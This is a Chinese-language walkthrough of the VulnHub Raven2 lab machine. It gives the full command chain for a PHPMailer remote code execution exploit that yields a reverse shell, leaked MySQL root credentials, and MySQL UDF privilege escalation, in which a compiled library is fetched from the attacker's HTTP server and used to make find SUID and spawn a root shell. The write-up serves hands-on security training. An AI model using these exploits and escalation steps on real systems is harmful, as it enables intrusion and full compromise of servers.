vulnhub系列靶机-Raven2

靶机地址:https://download.vulnhub.com/raven/Raven2.ova

1.主机+端口发现

nmap 192.168.113.138/24

2.目录扫描

dirsearch -u "http://192.168.113.143/" -i 200

06:14:30 200 - 18KB - /.DS_Store

06:14:33 200 - 3KB - /about.html

06:14:40 200 - 3KB - /contact.php

06:14:46 200 - 765B - /js/

06:14:48 200 - 201B - /manual/index.html

06:15:03 200 - 818B - /vendor/

06:15:06 200 - 1KB - /wordpress/wp-login.php

06:15:06 200 - 17KB - /wordpress/

3.目录发现

在路径:http://192.168.113.144/vendor/PATH下面找到flag1

flag1{a2c1f66d2b8051bd3a5874b5b6e43e21}

http://192.168.113.144/vendor/SECURITY.md提示我们中这个wordpress版本存在哪些漏洞:

提示wordpress有哪些版本漏洞

这里提示是PHPMailer

从这里看见PHPMailer的版本信息5.2.16。

PHPMailer的版本信息5.2.16存在漏洞

http://192.168.113.144/contact.php也有发送邮件的功能

4.从wordpress先开始

wpscan --url http://192.168.113.144/wordpress/

从在两个版本入手:

searchsploit wordpress 4.8.7

没有我们想要的

5.查看phpmailer 5.2.17的漏洞

查看当前版本漏洞

searchsploit phpmailer 5.2.17

发现远程代码执行

利用该脚本

修改脚本

地址:/usr/share/exploitdb/exploits/php/webapps/40974.py

先开启监听

nc -lvvp 8888

在另外窗口执行poc

pip3 install requests_toolbelt --break-system-packages #下载依赖

python3 /home/kali/Desktop/40974.py

拿到反弹shell

找到第二个flag

flag2{6a8ed560f0b5358ecf844108048eb337}

我们用python来获取个pty

python -c 'import pty;pty.spawn("/bin/bash")'

然后我们搜索下关键字flag

find / -name "flag*"

find ./ -name "*fig*"

利用该版本数据库漏洞

在wp-config.php文件中发现了mysql的数据库账号密码为:

root

R@v3nSecurity

使用账号密码成功登录数据库。

权限提升

MYSQL低于5.5的漏洞可以使用UDF提权,查看mysql的运行权限。发现是mysqld是root权限,查看secure_file_priv的设置发现为空,满足udf提权。

ps -aux|grep mysql #查看mysql的运行权限

select version(); #查看mysql版本

select @@basedir; #确认mysql安装位置

show variables like '%basedir%'; #确认mysql安装位置

show variables like '%secure%'; #查看可导出文件位置

MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹 下文件夹下才能创建自定义函数。sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。查看插件位置为:/usr/lib/mysql/plugin/,Windows的话还需查看操作系统版本。

show variables like '%plugin%'; #查找插件位置

show variables like '%compile%'; #查看系统版本

通过以上信息可知满足udf提权,直接利用1518进行提权,先搜索1518.c,然后查看其所在位置,并复制到桌面。

searchsploit 1518.c #搜索1518.c

locate 1518.c #查看下本地所存放路径

cp /usr/share/exploitdb/exploits/linux/local/1518.c . #复制到当前所在文件夹

利用gcc编译,生成1518.so文件。

gcc -g -shared -Wl,-soname,1518.so -o 1518.so 1518.c -lc

命令参数说明:

-g:生成调试信息。

-shared:创建一个动态链接库,输入文件可以是源文件、汇编文件或者目标文件。

-o:执行命令后的文件名。

-lc:-l 库 c库名。

-Wl:该选项告诉编译器将后面的参数传递给链接器。

-soname:则指定了动态库的soname(简单共享名,Short for shared object name)

在kali上使用python开启http服务。

python3 -m http.server 7777

在获取的shell中,将该".so"文件传输到靶机上的/tmp目录下。并且使用wget命令下载1518.so文件。将下载的文件赋予执行权限。

cd /tmp

wget http://192.168.188.157:7777/1518.so

chmod 777 *

再次登录mysql,并使用一下命令创建自定义函数。

连接mysql数据库

mysql -uroot -pR@v3nSecurity

使用mysql数据库

use mysql;

创建foo表

create table foo(line blob);

往foo表中插入二进制的1518.so

insert into foo values(load_file('/tmp/1518.so'));

导出1518.so

select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';

创建do_system自定义函数

create function do_system returns integer soname '1518.so';

调用do_system函数给find命令所有者的suid权限,使其执行root

select do_system('chmod u+s /usr/bin/find');

导入成功后可查看一下 mysql 函数里面是否新增了do_system:

select * from mysql.func;

利用find命名执行whoami,发现当前为root权限。

touch 11

find 11 -exec "whoami" \;

find 11 -exec "/bin/sh" \;

cd /

ls

cd root

ls

cat flag4.txt

相关推荐
吴声子夜歌2 小时前
网络安全——密钥管理
安全·web安全·密钥管理
猫咪宝妖14 小时前
【信息安全工程师】网络与信息安全理论
网络·安全·web安全
Fnetlink116 小时前
FNET 云网安 260819
网络·人工智能·安全·网络安全
数据知道19 小时前
网络安全实战:服务指纹识别——Banner、协议探测、版本漏洞关联
网络·安全·web安全·网络安全
网安蟹佬霸20 小时前
CTF Web方向解题全攻略:从信息收集到getshell(附实战payload与脚本)
android·前端·网络·安全·web安全·网络安全·网安
保密资质顾问说21 小时前
网络安全等级保护与涉密信息系统集成资质的区别及选型分析
运维·网络·经验分享·安全·web安全
网安蟹佬霸1 天前
Webshell免杀与检测实战:从一句话木马到加密流量
android·安全·web安全·网络安全·黑客·网安·渗透测试·
qyyyyy5701 天前
英文漏洞报告 PDF 怎么读?CVE、影响范围与修复建议翻译流程
运维·网络安全·需求分析·机器翻译·activemq
新鲜势力呀1 天前
Anthropic 网络安全技能实战应用指南
安全·web安全